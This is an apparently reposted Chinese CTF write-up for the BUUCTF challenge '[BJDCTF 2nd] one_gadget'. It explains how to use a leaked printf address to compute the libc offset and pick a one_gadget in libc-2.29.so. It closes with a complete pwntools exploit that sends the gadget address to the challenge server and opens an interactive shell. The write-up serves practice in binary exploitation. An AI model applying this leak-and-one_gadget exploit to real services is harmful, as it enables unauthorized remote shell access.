zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

    [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

    附件

    步骤:
    例行检查,64位,保护全开
    在这里插入图片描述
    nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one gadget的地址
    在这里插入图片描述
    64位ida载入,shift+f12查看字符串,根据nc看到的字符串,找到关键函数
    在这里插入图片描述
    在这里插入图片描述
    题目一开始输出的是printf函数的地址,题目一开始给了libc,知道了它的内存地址,就能够算出程序的偏移量了

    print_addr=0x7fbe7e114830
    offset=print_addr-libc.symbols['printf']
    print offset
    

    在这里插入图片描述
    接下来我们找一下one gadget的地址

     one_gadget  libc-2.29.so 
    

    在这里插入图片描述
    这边有4个one_gadget可以让我们利用,但是要满足寄存器的条件才能获取shell,会看汇编的可以去看一下哪个满足条件,不会的一个一个试一下(我就属于一个一个试的)

    完整 EXP

    from pwn import*
    
    r=remote('node3.buuoj.cn',26120)
    elf=ELF('onegadget')
    libc=ELF('./libc-2.29.so')
    
    r.recvuntil('0x')
    print_addr=int(r.recvn(12),16)
    
    offset=print_addr-libc.symbols['printf']
    
    print offset
    
    one_gadget=[0xe237f,0xe2383,0xe2386,0x106ef8]
    shell=offset+one_gadget[3]
    r.recvuntil('Give me your one gadget:')
    r.sendline(str(shell))
    
    r.interactive()
    
  • 相关阅读:
    php和c++自带的排序算法
    谷歌Chrome浏览器离线安装包
    js阻止表单提交
    Sublime text中文乱码解决办法
    不会飞的鸟
    linux命令**50
    linux基础2
    linux基础1
    css3实现单行文本溢出显示省略号
    null和undefined的区别
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273719.html
Copyright © 2011-2022 走看看